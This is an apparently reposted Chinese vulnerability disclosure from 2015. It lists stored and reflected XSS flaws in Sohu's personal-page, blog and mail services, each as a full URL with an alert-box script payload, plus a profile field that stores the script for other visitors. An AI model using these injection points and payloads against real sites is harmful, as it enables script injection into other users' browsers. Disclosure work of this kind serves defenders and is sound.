网站地图    收藏   

主页 > 后端 > 网站安全 >

我的搜狐9处持久型及反射型xss及搜狐邮箱3处反射

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 主要是http://i.sohu.com/持久型及反射型xss9处详细说明:持久型:http://i.sohu.com/app/friend/#/a/search/user/search/find.do?_input_encode=UTF-8nick=xsser反射型:http://i.sohu.com/a/register/passpor......

主要是http://i.sohu.com/
持久型及反射型xss9处
详细说明:持久型:
http://i.sohu.com/app/friend/#/a/search/user/search/find.do?_input_encode=UTF-8&nick=xsser
反射型:
http://i.sohu.com/a/register/passport/getNicks?callback=test<script>alert(/goderci/)</script>
 
http://i.sohu.com/a/checkpassword/checkPassword?xpt=&vn=test<script>alert(/goderci/)</script>
 
http://i.sohu.com/a/assistant/personal/get?xpt=&_=&vn=<script>alert(/goderci/)</script>
 
http://i.sohu.com/a/app/discuss/newcount.htm?cb="/><script>alert(/goderci/)</script>
 
 
http://stat.i.sohu.com/guest/count/count.do?type=0&xpt=&callback=<script>alert(/goderci/)</script>
http://ana.blog.sohu.com/blogcount?l=1&vn=<script>alert(/goderci/)</script>&_=
 
http://ow.blog.sohu.com/page/category.do?action=recmdWidget&st=0&sz=15&vn=<script>alert(/goderci/)</script>
 
 
http://i.sohu.com/app/friend/#/a/search/user/search/find.do?type=4&employer=%22/%3E%3Cscript%3Ealert%28/goderci/%29%3C/script%3E&_input_encode=UTF-8
 
持久xss:
设置资料的时候将单位名称设置为:<script>alert(/goderci/)</script>
 
 



 
然后每当别人搜索到你和鼠标滑过你的头像的时候就会触发!
 
 
 
反射xss:


搜狐邮箱3处反射xss!
详细说明:

http://vip.sohu.com/push_mail.jsp?b=126"/></script><script>alert(/goderci/)</script>&t=0
 
http://wap.mail.sohu.com/push_mail.jsp?b=126%22/%3E%3C/script%3E%3Cscript%3Ealert%28/goderci/%29%3C/script%3E&t=0
 
http://mail.sohu.com/push_mail.jsp?b=126"/></script><script>alert(/goderci/)</script>&t=0
 

 
修复方案:过滤!

作者 goderci

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论